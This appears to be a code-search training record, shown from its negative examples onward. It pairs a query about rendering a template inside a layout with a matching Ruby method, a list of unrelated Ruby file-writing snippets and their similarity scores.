"def file(name, template_name=nil, params=nil)\n @fileutils.touch(name)\n @file.open(name, 'w') do |f|\n f.puts write_contents(@templates.fetch(template_name), params) \n end unless template_name.nil? \n @output.write(\"created #{name}\")\n end",
"def output_to_file\n @output=:file\n end",
"def write(f)\n f.puts \"Version: \" + VERSION\n f.puts \"Label: #{@label}\"\n f.puts \"Host: #{@host}\"\n f.puts \"Dir: #{@dir}\"\n f.puts \"Prune: \" + (@prune_leading_dir ? \"true\" : \"false\")\n f.puts\n super(f)\n end",
"def update_file\n output = (@blocks[:before] + @blocks[:attributes] + @blocks[:after]).join(\"\\n\").strip + \"\\n\"\n File.open(@filename,'w') { |f| f.write(output) } if output != @file\n end",
"def process_output(file=nil)\n output = if file\n File.new(file.to_s,'w')\n else\n STDOUT\n end\n\n yield output if block_given?\n\n output.flush\n output.close\n return nil\n end",
"def write_contents(options={})\n File.write(path('epub/OEBPS/content.opf'), content_opf(options))\n end",
"def preview(_page)\n File.open(path) do |output|\n res = { io: output, type: :html, filename: \"#{output.path}.html\", disposition: 'inline' }\n yield res\n end\n end",
"def write(data)\n begin\n File.open(@filename, \"w\") { |file| file.puts data.to_html }\n rescue \n puts \"Error: \" + $!.to_s\n end \n end",
"def output_file\n @output\n end",
"def output(contents, filename = \"output.html\")\n out_file = File.new(filename, \"w\")\n out_file.puts(contents)\n out_file.close\n end",
"def write_file(*args)\n end",
"def write_file filename,content\n mkdir_p(File.dirname(filename),:verbose=>false)\n File.open(filename, 'wb') {|f| f.write(content) }\n end",
"def write_content_to_file(file_name, content)\n File.open(file_name, 'w') { |file| file.write(content); file.flush }\nend",
"def write_via(parent)\n @parent = parent\n context(parent.output, parent.prettyprint, parent.indentation, parent.helpers) do\n content\n end\n end",
"def write(&block)\n @write_block = block\n end",
"def open_new_file_to_write(input, number, region)\n\toutfile = File.new(\"#{region}-per#{number}bp-#{input}.txt\", \"w\")\n\toutfile.puts \"position\\tnumhm\\tnumht\"\n\toutfile\nend",
"def write(output_to); end",
"def file_output output_lines, friend\n # using 'write_to' method with given parameters\n write_to \"#{friend}.txt\" do |file|\n file.write output_lines[0]\n file.write output_lines[1]\n end\nend",
"def file(name, contents)\n @workdir.join(name).open(\"w+\") do |f|\n f.write(contents)\n end\n end",
"def render(context)\n # super is the input\n file = Tempfile.new('')\n file.write(super)\n file.close # close temp file; flush content\n output = `/Users/pushpendrerastogi/Dropbox/se4u_github_io/_plugins/org2html.py #{file.path}`\n file.unlink # Delete temp file\n output\n end",
"def send_doc\n if EdiHelper.current_out_is_cumulative\n File.open(File.join(EdiHelper.edi_out_process_join_dir, EdiHelper.current_out_subdirs, @filename), 'w') {|f| f.puts @edi_string }\n else\n File.open(File.join(EdiHelper.edi_out_process_dir, EdiHelper.current_out_subdirs, @filename), 'w') {|f| f.puts @edi_string }\n end\n end",
"def create_mark_output_file(mark_output_file_path)\n # Write test output contents to file.\n File.open(mark_output_file_path, \"w+\") do |file|\n # file.write(collect_mark_file_content)\n\n file.puts(collect_mark_file_content)\n end\n end",
"def deliver\n File.open(file_path, 'w') { |file| file.write(rendered_content) }\n Launchy.open(\"file:///#{URI.parse(file_path)}\")\n end",
"def write\n\t\tfile = File.new(@lock_file, \"w\")\n\t\tyield(file)\n\t\tfile.close\n\tend",
"def print_file(*) end",
"def write_file(path, content)\r\n f = File.new(path, \"w+\")\r\n f.puts content\r\n f.close\r\n end",
"def save_thank_you_letters(id,form_letter)\n Dir.mkdir(\"output\") unless Dir.exists?(\"output\")\n filename = \"output/thanks_#{id}.html\"\n File.open(filename,'w') do |file|\n file.puts form_letter\n end\nend",
"def write_to_file(f)\n return f.write(self.buffer)\n end",
"def write_to_file(data)\n\t\t\tref = File.join(@root, \"tarrifs_\" + @page[:name])\n\n\t\t\tif File.exists?(ref)\n\t\t\t\tdiff = \"\"\n\t\t\t\tstatus = Open4::popen4(\"diff #{ref} -\") do |pid, stdin, stdout, stderr|\n\t\t\t\t\tstdin.puts data\n\t\t\t\t\tstdin.close\n\t\t\t\t\tdiff = stdout.read\n\t\t\t\tend\n\t\t\t\t#sent mail if content is different\n\t\t\t\tif status != 0\n\t\t\t\t\twrite \"change detected.\"\n\t\t\t\t\tnotify_changed_site(url, diff)\n\t\t\t\tend\n\t\t\tend\n\t\t\tFile.open(ref, \"w\") do |f|\n\t\t\t\tf.puts data\n\t\t\tend\n\t\tend",
"def write_snippet(block, snippet, uri)\n info block: block, message: \"writing snippet #{uri}\"\n write_proc = block.document.attr 'write_snippet'\n if write_proc\n # Delegate to a proc for copying if one is defined. Used for testing.\n write_proc.call(uri, snippet)\n else\n destination = ::File.join block.document.options[:to_dir], uri\n destination_dir = ::File.dirname destination\n FileUtils.mkdir_p destination_dir\n File.open(destination, 'w') { |file| file.write(snippet) }\n end\n end",
"def write( &block )\n compile!( :write!, &block )\n end",
"def file_write(file, contents=\"\")\n\t\tFile.open(file.to_s, 'w+') do |f|\n\t\t\tf.print contents\n\t\tend\n\t\tcontents\n\tend",
"def create_output_file filename # :yields: complete_filename\n output_path = @output_root + filename\n @logger.info \"Writing to #{output_path}#{dry_run ? \" (skipped - dry run)\" : \"\"}\" do\n unless dry_run\n folder = output_path.dirname\n folder.mkpath unless folder.directory?\n yield output_path\n end\n end\n end",
"def create(file, task, mode)\n\n file = File.open(file, mode)\n #file.write(task)\n file.puts(task)\n file.close\n\nend",
"def appendTemplate2file(file, name, template)\n\t_block_start = \"# #{name} added by chef {\"\n\t_block_end = \"# }\\n\"\n\n\tbash \"Remove #{name} from #{file}\" do\n\t\tcode <<-EOC\n\t\t\tperl -0777 -pi -e 's/\\n*#{_block_start}.*?#{_block_end}//gs' #{file}\n\t\tEOC\n\t\tonly_if \"cat #{file} | grep -q '#{_block_start}'\"\n\tend\n\tbash \"Add #{name} to #{file}\" do\n\t\tcode <<-EOC\n\t\t\techo '' >> #{file}\n\t\t\techo '#{_block_start}' >> #{file}\n\t\t\tcat #{template} >> #{file}\n\t\t\techo '#{_block_end}' >> #{file}\n\t\tEOC\n\t\tnot_if \"cat #{file} | grep -q '#{_block_start}'\"\n\tend\nend",
"def write()\n f = File.open(\"#{@directory}/#{@filename}\", \"w\")\n f.write(@raw)\n f.close()\n end",
"def write_page\n contents = [people,projects,events].inject({}) { |x,y| x.merge(y) }\n File.open('index.html','w') do |f|\n f.write(@template.render(contents))\n end\n end",
"def write(file, content)\n temp_file = Tempfile.new(\"#{File.basename(file)}\", Pathname.new(File.dirname(file)).realpath, :encoding => @encoding)\n begin\n temp_file.puts content\n temp_file.flush\n FileUtils.cp(temp_file.path, file)\n ensure\n temp_file.close!\n end\n end",
"def dump_page( output_file = ENV['HOME'] + '/Desktop/a.htm' )\n File.write( output_file, agent.page.body )\n end",
"def write(top_line,\n bottom_line, out_file = STDOUT)\n \n\n template = ERB.new(File.read(template_file))\n out_file.puts(template.result(binding))\n end",
"def dump_to_file(filename, &block)\n old_stdout = $stdout\n File.open(filename, 'w') do |fo|\n $stdout = fo\n yield\n end\n $stdout = old_stdout\n end",
"def display_puppetfile(puppetfile_contents)\n puts <<-EOF\n\nYour Puppetfile has been generated. Copy and paste between the markers:\n\n=======================================================================\n#{puppetfile_contents.chomp}\n=======================================================================\n EOF\n end",
"def write_out_raw\r\n new_filepath = temp_filename(file_name, DIL::Application.config.processing_file_path)\r\n File.open(new_filepath, 'wb') do |f|\r\n f.write raw.content\r\n end\r\n Sidekiq::Logging.logger.debug(\"New filepath:\" + new_filepath)\r\n FileUtils.chmod(0644, new_filepath)\r\n new_filepath\r\n end",
"def write(data=nil, &block)\n mkdir_p dir\n open(fullpath, 'w') do |io|\n io.write data if data\n yield io if block_given?\n end\n end",
"def save_thank_you_letters(id, form_letter)\n Dir.mkdir(\"output\") unless Dir.exists? \"output\"\n\n filename = \"output/thanks_#{id}.html\"\n\n File.open(filename, 'w') do |file|\n file.puts form_letter\n end\nend",
"def open_and_save_file(path, value = nil, &block)\n # Make sure the directory up to the folder exists\n mkdir_p File.dirname(path)\n # Open the file and use either the block or the value to write the\n # file\n File.open path, 'w' do |f|\n if block_given?\n f.write(yield)\n else\n f.write(value)\n end\n end\nend",
"def run\n Execution.block 'Creating a custom file', @target, 'root' do |b|\n b.always_run true\n b.run \"mkdir -p #{::File.dirname(@target)}\"\n ::File.open(@target, 'w+') { |file| file.write @content }\n b.run \"chown #{@owner}:#{@owner} #{::File.dirname(@target)}\"\n b.run \"chown #{@owner}:#{@owner} #{@target}\"\n b.run \"chmod #{unix_mode} #{@target}\"\n end\n end",
"def save_to_file\n\t\tFile.open(@output, \"w+\") do |file|\n\t\t\tfile.puts \"[b][align=center]\"\n\t\t\trandomize if @random\n\t\t\t@output_data.each_line { |line| line.delete('\\n') }\n\t\t\tfile.puts @output_data\n\t\t\tfile.puts \"[/align][/b][align=center][sup]Made with [user]kryszanek[/user]'s [url=http://github.com/kryszan/cloudy]cloudy[/url]\\\\m/ [/sup][/align]\"\n\t\tend\n\tend",
"def open_with_block(opt, block)\n Tempfile.create(TEMPORARY_FILE_PREFIX, **opt) do |temporary_file|\n temporary_file.write(contents)\n temporary_file.seek(0)\n\n block.call(temporary_file)\n end\n end"
] | [
"0.66409993",
"0.6551999",
"0.6197935",
"0.61722183",
"0.61622196",
"0.6113944",
"0.6112693",
"0.6066088",
"0.60583067",
"0.59728247",
"0.5966772",
"0.59273505",
"0.59130883",
"0.59073776",
"0.58719283",
"0.5867446",
"0.58516586",
"0.58434427",
"0.5830314",
"0.58273727",
"0.58120763",
"0.5805977",
"0.5803251",
"0.5793743",
"0.5758577",
"0.5758478",
"0.5739494",
"0.5728034",
"0.5723559",
"0.5719327",
"0.57117605",
"0.57091594",
"0.570677",
"0.56986046",
"0.5698159",
"0.5692403",
"0.5686428",
"0.5683098",
"0.56762815",
"0.56729263",
"0.5671873",
"0.5659688",
"0.56512296",
"0.5649323",
"0.5639277",
"0.5633617",
"0.56173843",
"0.56153315",
"0.5613807",
"0.56040096",
"0.56032914",
"0.559697",
"0.55963755",
"0.559476",
"0.55945873",
"0.5594034",
"0.55901295",
"0.5586172",
"0.55856717",
"0.55821794",
"0.55759555",
"0.55587673",
"0.5558358",
"0.5553498",
"0.55388874",
"0.5535803",
"0.5528433",
"0.5527143",
"0.55259967",
"0.55210507",
"0.55161417",
"0.55161405",
"0.5511796",
"0.55105215",
"0.55096513",
"0.5501448",
"0.54796714",
"0.5477144",
"0.5473019",
"0.54674846",
"0.54624623",
"0.546234",
"0.5462177",
"0.5449876",
"0.5446248",
"0.54445946",
"0.5442726",
"0.54338586",
"0.5431923",
"0.5428983",
"0.54283434",
"0.5428229",
"0.5426269",
"0.5420664",
"0.54169714",
"0.5416716",
"0.541266",
"0.54125446",
"0.5411406",
"0.5404626"
] | 0.7643977 | 0 |
Use a +template+ file to generate content with a hash of +data+ over the layout page if +layout+ is true | def build_from_template(template, data = {}, layout = true)
cont = File.read(template_file(template)).miga_variables(data)
return cont unless layout
build_from_template(
'layout.html',
data.merge(content: cont, project_name: cli.load_project.name),
false
)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mustache(template, args={}, layout=true)\n args = args.update(:site => site, :site_tags => tags, :current_user => current_user)\n layout_class = UserApp::Views::Layout\n layout_class.template = design.layout\n view_class = UserApp::Views.const_get(template.to_s.classify)\n view_class.template = design.send(template)\n view_initialized = view_class.new(args)\n view_rendered = view_initialized.render\n if layout\n if view_initialized.respond_to?(:title)\n args.update(:page_title => view_initialized.title)\n end\n layout_class.new(args).render(:yield => view_rendered)\n else\n view_rendered\n end\n end",
"def render_layout(output, layout, info); end",
"def layout_template_file(program:)\n template_file(\n template_name: program.layout_template_name,\n extension: :LAYOUT_EXT\n )\n end",
"def render_template(view, template, layout_name, locals); end",
"def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end",
"def create_layout(content, attributes, identifier)\n # Get filenames\n base_path = 'layouts' + identifier[0..-2]\n meta_filename = base_path + '.yaml'\n content_filename = base_path + '.html'\n\n # Notify\n Nanoc3::NotificationCenter.post(:file_created, meta_filename)\n Nanoc3::NotificationCenter.post(:file_created, content_filename)\n\n # Create files\n FileUtils.mkdir_p(File.dirname(meta_filename))\n File.open(meta_filename, 'w') { |io| io.write(YAML.dump(attributes.stringify_keys)) }\n File.open(content_filename, 'w') { |io| io.write(content) }\n end",
"def layout(name=:layout, &b)\n template(name, &b)\n end",
"def render_layout(output, layout, info)\n payload[\"content\"] = output\n payload[\"layout\"] = Utils.deep_merge_hashes(layout.data, payload[\"layout\"] || {})\n\n render_liquid(\n layout.content,\n payload,\n info,\n layout.path\n )\n end",
"def render\n template_body = Tilt.new(@template).render(self)\n if @layout\n layout = Dir[File.join(File.dirname(@template), @layout) + '*'].first\n raise \"#{Guinness::EMOJI} Guinness : Unable to locate layout at: '#{@layout}'\" unless layout\n @body = Tilt.new(layout).render(self) { template_body }\n end\n @body || template_body\n end",
"def render\n layout = File.read \"#{site.root}/_layouts/#{@layout}.html\"\n @output = Liquid::Template.parse(layout).render('post'=>self) \n end",
"def render(template_name, context=Context.new, layout=true)\n #context = Context.new(context) if context.is_a?(Hash)\n context = hook_context(context)\n while true\n template = get_template(template_name, context) # context is passed only for preprocessor\n _buf = context._buf\n output = template.render(context)\n context._buf = _buf\n unless context._layout.nil?\n layout = context._layout\n context._layout = nil\n end\n layout = @layout if layout == true or layout.nil?\n break unless layout\n template_name = layout\n layout = false\n context.instance_variable_set('@_content', output)\n end\n return output\n end",
"def inject_into_layout\n application_layout_path_prefix = 'app/views/layouts/application.html'\n\n api_key = ask 'What is your kit ID (leave blank to specify later):'\n api_key = '- YOUR KIT ID HERE -' if api_key.blank?\n\n layout_templates = { slim: { content: \" = typekit '#{api_key}'\", after: \"head\\n\" }}\n layout_templates[:erb] = { content: \" <%#{layout_templates[:slim][:content].lstrip} %>\", after: \"<head>\\n\" }\n\n layout_templates.each_pair do |lang,options|\n path = ::File.join(destination_root, \"#{application_layout_path_prefix}.#{lang}\")\n if ::File.exists?(path)\n inject_into_file path, after: options[:after] do\n \"#{options[:content]}\\n\"\n end\n end\n end\n end",
"def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end",
"def template_for(file); end",
"def render(data = {}, &block)\n output = content(data, &block)\n output = layout.render(get_data(data)) { output } unless layout.nil?\n output\n end",
"def generate_layout\n if options.sass?\n directory 'app'\n gem 'compass', '>=0.10.5'\n gem 'compass-960-plugin', '>=0.10.0'\n directory 'config'\n else\n copy_file \"stylesheet.css\", \"public/stylesheets/#{file_name}.css\" if options.stylesheet?\n copy_file \"handheld.css\", \"public/stylesheets/handheld.css\" if options.stylesheet?\n end\n copy_file \"modernizr-1.5.min.js\", \"public/javascripts/modernizr-1.5.min.js\"\n copy_file \"jquery-1.4.2.min.js\", \"public/javascripts/jquery-1.4.2.min.js\"\n copy_file \"dd_belatedpng.js\", \"public/javascripts/dd_belatedpng.js\"\n\n template \"layout.html.erb\", \"app/views/layouts/#{file_name}.html.erb\"\n copy_file 'layout_helper.rb', 'app/helpers/layout_helper.rb'\n end",
"def layout_contents\n @layout = <<-LAYOUT\n blueprint-deploy:\n layout: #{spec_bp_name} # name of the layout file we use\n blueprint : #{spec_bp_name} # name of the default blueprint\n servers:\n - server1:\n name: util\n applications:\n - app1:\n - app2:\n - server2:\n name: review\n applications:\n - app1:\n - app3:\n LAYOUT\n @layout\n end",
"def process_layout(config, widget_name)\n layout = nil\n layout_path = File.join(widget_name, 'layouts', \"#{config['layout']}.html\")\n [\n File.join(@ruhoh.paths.theme, \"widgets\", layout_path),\n File.join(@path, layout_path),\n File.join(@system_path, layout_path)\n ].each do |path|\n layout = path and break if File.exist?(path)\n end\n\n return '' unless layout\n content = File.open(layout, 'r:UTF-8') { |f| f.read }\n Mustache.render(content, {'config' => config})\n end",
"def do_layout(payload, layouts)\n end",
"def lookup_layout\n return \"{{{content}}}\" if metadata.key?('layout') && !metadata['layout']\n\n name = metadata['layout'] || 'page'\n name = name + '.mustache' unless name.end_with?('.mustache')\n\n path = ::File.join('_layouts', name)\n dir = ::File.join(wiki.path, ::File.dirname(file.path))\n\n layout_file = lookup_path(path, dir)\n\n if layout_file\n IO.read(layout_file)\n else\n default_layout\n end\n end",
"def layout_render(content)\n\t\t\treturn content unless @layout\n\n\t\t\tlayout_files = find_layouts(@layout)\n\t\t\treturn content if layout_files.empty?\n\n\t\t\tlayout_files.each_with_object(content.dup) do |layout_file, result|\n\t\t\t\tlayout = compile_file(layout_file)\n\t\t\t\tresult.replace layout.render(@scope, @locals) { result }\n\t\t\tend\n\t\tend",
"def dynamic_layout\n # ALL THIS SUCKS, I KNOW..\n \n # No layout for AJAX calls\n @layout = if request.xhr? \n nil\n # dialog param = lightview popup\n elsif params[:dialog]\n 'dialog'\n # uses user 'role' name for layout ... bad\n elsif current_user && !current_user.role.nil?\n current_user.role.downcase\n # no user, check for 'about' action\n elsif controller_name == 'about'\n 'about'\n # none of the above, use Rails default\n else\n 'home'\n end\n return nil unless @layout\n \n Rails.logger.debug \"Dyamic layout = #{@layout}\"\n # Layouts further divided by site subdomain: www vs vault\n if current_subdomain == 'vault'\n # Then public vs logged in...ugh\n if current_user\n @layout = 'vault/private/' + @layout\n else\n @layout = 'vault/public/' + @layout\n end\n end\n @layout\n end",
"def render_with_layout(template, locals = {}, additional_js = [], additional_css = [])\n script_tags = \"\"\n css_tags = \"\"\n additional_js.each { |fileName| script_tags << \"<script src='/js/#{fileName}'></script>\" }\n additional_css.each do |fileName|\n css_tags << \"<link rel='stylesheet' type='text/css' href='/css/#{fileName}'/>\"\n end\n erb :base, :locals => locals.merge({ :template => template, :user => @user,\n :script_tags => script_tags, :css_tags => css_tags })\n end",
"def generate\n layouts = params[:layout_info]\n FileOperation.delete_existing_file\n layouts.count.times do |layout|\n generate_layout(layouts[layout])\n $global_path = params[:layout_info][layout][:className]\n generate_layouts_in_files params[:css_info]\n end\n render json: { url: download_api_layout_index_path }\n end",
"def parse(template, output, b = binding())\n # Generate the requested page\n template = File.read(template)\n erb = Erubis::Eruby.new(template)\n @content = erb.result(b)\n \n # Generate the layout\n layout = File.read(\"templates/layout.html.erb\")\n erb_layout = Erubis::Eruby.new(layout)\n \n FileUtils.mkdir_p(File.dirname(output))\n File.open(output, \"w+\") do |f|\n f.puts erb_layout.result(b)\n end\n end",
"def create_default_template_file\n unless self.description.redirection_required?\n self.localizations.each do |page_localization|\n file_path = File.join(Rails.root, \"app\", \"views\" , \"pages\" , \"#{self.view}.#{page_localization.locale.slug}.html.haml\" )\n unless File.exists?(file_path)\n file = File.new(file_path, \"w\")\n\n page_localization.contents.each do |content|\n file.puts(\"= @page.easy_contents(:#{content.section_name})\")\n end\n file.close\n end\n end\n end\n end",
"def generate_template(datestamp, entrytext, starred, uuid)\n ERB.new <<-XMLTEMPLATE\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n <plist version=\"1.0\">\n <dict>\n <key>Creation Date</key>\n <date><%= datestamp %></date>\n <key>Entry Text</key>\n <string><%= entrytext %></string>\n <key>Starred</key>\n <<%= starred %>/>\n <key>Tags</key>\n <array>\n <string>daily logs</string>\n </array>\n <key>UUID</key>\n <string><%= uuid %></string>\n </dict>\n </plist>\n XMLTEMPLATE\n end",
"def initialize(content_template, data, layout)\n @content_template = erb_template(content_template)\n @layout = erb_template(layout)\n @data = data\n end",
"def template\n File.read(File.expand_path('../../../../templates/activity.md.mustache', __FILE__))\n end",
"def generate(page_setup = {})\n Zip::File.open(@template_path) do |template_zip|\n buffer = Zip::OutputStream.write_buffer do |out|\n template_zip.each do |entry|\n out.put_next_entry entry.name\n if @replaceable_files[entry.name] && entry.name == Document.doc_xml_file\n source = entry.get_input_stream.read\n # the source has only 1 sectPr and we change the doc dimensions based on the page setup\n source = replace_dimensions(source, page_setup)\n # Change only the body of document. TODO: Improve this...\n source = source.sub(/(<w:body>)((.|\\n)*?)(<w:sectPr)/, \"\\\\1#{@replaceable_files[entry.name]}\\\\4\")\n out.write(source)\n elsif @replaceable_files[entry.name] && entry.name == Document.header_xml_file\n source = entry.get_input_stream.read\n # Change only the body of document. TODO: Improve this...\n\n Rails.logger.info(\"header before:#{source}\")\n source = source.sub(/<w:tbl>.*<\\/w:tbl>/, \"#{@replaceable_files[entry.name]}\")\n Rails.logger.info(\"header after:#{source}\")\n\n out.write(source)\n # elsif @replaceable_files[entry.name] && entry.name == Document.footer_xml_file\n # source = entry.get_input_stream.read\n # Change only the body of document. TODO: Improve this...\n # Rails.logger.info(\"footer before:#{source}\")\n # source = source.sub(/<w:tbl>.*<\\/w:tbl>/, \"#{@replaceable_files[entry.name]}\")\n # Rails.logger.info(\"footer after:#{source}\")\n # out.write(source)\n\n elsif @replaceable_files[entry.name]\n out.write(@replaceable_files[entry.name])\n Rails.logger.info(\"footer: #{entry.get_input_stream.read}\") if entry.name == Document.footer_xml_file\n elsif entry.name == Document.content_types_xml_file\n raw_file = entry.get_input_stream.read\n content_types = @image_files.empty? ? raw_file : inject_image_content_types(raw_file)\n\n out.write(content_types)\n else\n out.write(template_zip.read(entry.name))\n end\n end\n unless @image_files.empty?\n #stream the image files into the media folder using open-uri\n @image_files.each do |hash|\n out.put_next_entry(\"word/media/#{hash[:filename]}\")\n URI.open(hash[:url], 'rb') do |f|\n out.write(f.read)\n end\n end\n end\n # add the header rels as its not already in the template docx\n out.put_next_entry(Document.header_relations_xml_file)\n out.write(@replaceable_files[Document.header_relations_xml_file])\n # add the footer rels as its not already in the template docx\n out.put_next_entry(Document.footer_relations_xml_file)\n out.write(@replaceable_files[Document.footer_relations_xml_file])\n\n # test creating for the blank header and footer to see if it fixes the error on open\n #\n # out.put_next_entry('word/_rels/header2.xml.rels')\n # out.write(@replaceable_files[Document.header_relations_xml_file])\n # add the footer rels as its not already in the template docx\n # out.put_next_entry('word/_rels/footer2.xml.rels')\n # out.write(@replaceable_files[Document.footer_relations_xml_file])\n\n end\n buffer.string\n end\n end",
"def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js', :site\n title content.title\n\n }\n body {\n page { \n banner { img( :src => paths(:image).get( 'banner.png' ) ) }\n main { yield }\n sidebar {\n block {\n welcome = model(:story).find(:sidebar)\n p { textile( welcome.content ) }\n }\n }\n }\n }\n }\n end",
"def liquify data_obj, template_file, output\n validate_file_input(template_file, \"template\")\n begin\n template = File.read(template_file) # reads the template file\n template = Liquid::Template.parse(template) # compiles template\n rendered = template.render(data_obj.data) # renders the output\n rescue Exception => ex\n message = \"Problem rendering Liquid template. #{template_file}\\n\" \\\n \"#{ex.class} thrown. #{ex.message}\"\n @logger.error message\n raise message\n end\n unless output.downcase == \"stdout\"\n output_file = output\n generate_file(rendered, output_file)\n else # if stdout\n puts \"========\\nOUTPUT: Rendered with template #{template_file}:\\n\\n#{rendered}\\n\"\n end\nend",
"def render_with_layout_and_partials(format)\n # looking for system mail.\n template = MailEngine::MailTemplate.where(:path => \"#{controller_path}/#{action_name}\", :format => format, :locale => I18n.locale, :partial => false, :for_marketing => false).first\n # looking for marketing mail.\n template = MailEngine::MailTemplate.where(:path => action_name, :format => format, :locale => I18n.locale, :partial => false, :for_marketing => true).first if template.blank?\n\n # if found db template set the layout and partial for it.\n if template\n related_partial_paths = {}\n # set @footer or @header\n template.template_partials.each do |tmp|\n related_partial_paths[\"#{tmp.placeholder_name}_path\".to_sym] = tmp.partial.path\n end\n\n # set layout\n render :template => \"#{controller_path}/#{action_name}\", :layout => \"layouts/mail_engine/mail_template_layouts/#{template.layout}\", :locals => related_partial_paths\n else\n # if not found db template should render file template\n render(action_name)\n end\n end",
"def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet,\n 'syntaxhighlighter_2/styles/shCore',\n 'syntaxhighlighter_2/styles/shThemeDefault'\n\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js',\n 'syntaxhighlighter_2/scripts/shCore',\n 'syntaxhighlighter_2/scripts/shBrushRuby',\n :site\n\n title content.title\n\n }\n body {\n sidebar {\n img( :src => paths(:image).get( 'banner.png' ) )\n block {\n welcome = model(:story).find(:sidebar)\n h4 welcome.title\n p { textile( welcome.content ) }\n }\n }\n page { yield }\n }\n }\n end",
"def render_for_file_with_dryml(template_path, status = nil, layout = nil, locals = {})\n render_for_file_without_dryml(template_path, status, layout, locals)\n rescue ActionView::MissingTemplate => ex\n # Try to use a DRYML <page> tag instead\n tag_name = @dryml_fallback_tag || \"#{File.basename(template_path).dasherize}-page\"\n\n text = call_dryml_tag(tag_name)\n if text\n render_for_text text, status \n else\n raise ex\n end\n end",
"def layout_contents\n layout.render(self)\n end",
"def create_main_index(data)\n create_partials data[:sub_file], data\n data[:header] = read_file(get_header_path(data[:sub_file]))\n data[:footer] = read_file(get_footer_path(data[:sub_file]))\n data[:stylesheetloc] = main_file_stylesheet_locs\n write_data data, 'data'\n system 'erb _templates/_index.html.erb > index.html'\n end",
"def main_content\n do_include(@template)\n end",
"def place_in_layouts(content, payload, info); end",
"def generate_contents\n template_file = @template_dir + 'contents.hhc.rhtml'\n\n out_file = @outputdir + \"contents.hhc\"\n debug_msg \" rendering #{out_file}\"\n render_template template_file, out_file do |io| binding end\n end",
"def create_html_file(filename, template, data)\n File.open(filename, \"w+:utf-8\") do |file|\n file << ERB.new(File.read(template)).result(data.to_binding)\n end\n end",
"def generate(ignore_missing: false)\n data = self.data\n if data.blank?\n raise FphsException, 'Data is blank and item_type / item_id does not return an item' unless item\n\n data = Formatter::Substitution.setup_data item, for_item\n data[:_subject] = subject\n data[:extra_substitutions] = extra_substitutions_data\n\n end\n\n raise FphsException, \"Layout template #{layout_template_name} was not found\" unless layout_template\n\n if content_template_name\n raise FphsException, \"Content template #{content_template_name} was not found\" unless content_template\n elsif !content_template_text\n raise FphsException, 'Content template name or text must be set'\n end\n\n self.generated_text = layout_template.generate content_template_name: content_template_name,\n content_template_text: content_template_text,\n data: data,\n ignore_missing: ignore_missing\n\n self.generated_content = generated_text\n save!\n end",
"def render_layout(layout, **kwargs, &block)\n render html: capture(&block), layout: \"layouts/#{layout}\", **kwargs\n end",
"def render(template)\n template = File.read(\"./views/#{template}\")\n engine = Haml::Engine.new(template)\n @response = engine.render\nend",
"def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end",
"def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def render(model, &content)\n template = Neapolitan.file(path, :stencil=>site.config.stencil)\n\n # update the model's metadata\n #model.update(template.metadata)\n\n result = template.render(model, &content).to_s\n\n layout_name = template.metadata['layout']\n\n if layout_name\n layout = site.lookup_layout(layout_name)\n\n raise \"No such layout -- #{layout}\" unless layout\n\n result = layout.render(model){ result }\n end\n\n result.to_s\n end",
"def openoffice_content(layout_path, basename)\n filename = basename[0..(basename.index(\".\")-1)]\n template_path = \"app/views/#{params[:controller]}/#{params[:format]}/#{params[:action]}/#{basename}\"\n layout_path = \"app/views/layouts/#{params[:format]}/#{basename}\"\n temp_ref_path = \"#{params[:controller]}/#{params[:format]}/#{params[:action]}/#{filename}.xml\"\n layout_ref_path = \"layouts/#{params[:format]}/#{filename}.xml\"\n\n #each registered mime-type needs a template directory in app/views/layouts that corresponds to the mimetype. Example:\n #the template for odp can be found in app/views/layouts/odp\n\n #if there's a template in the directory, render it with the layout. if there's not, just render the layout.\n\n if File.exists?(template_path)\n #for each file, evaluate the template code to a string\n content = render_to_string(:template => temp_ref_path, :layout => layout_ref_path)\n else\n content = render_to_string(:template => layout_ref_path)\n end\n content\n end",
"def templates_for(file); end",
"def alt_layout(template, layout, options={})\n erb template, options.merge(:layout => layout)\n end",
"def generate\n generate_header\n generate_content\n #not_dirty\n end",
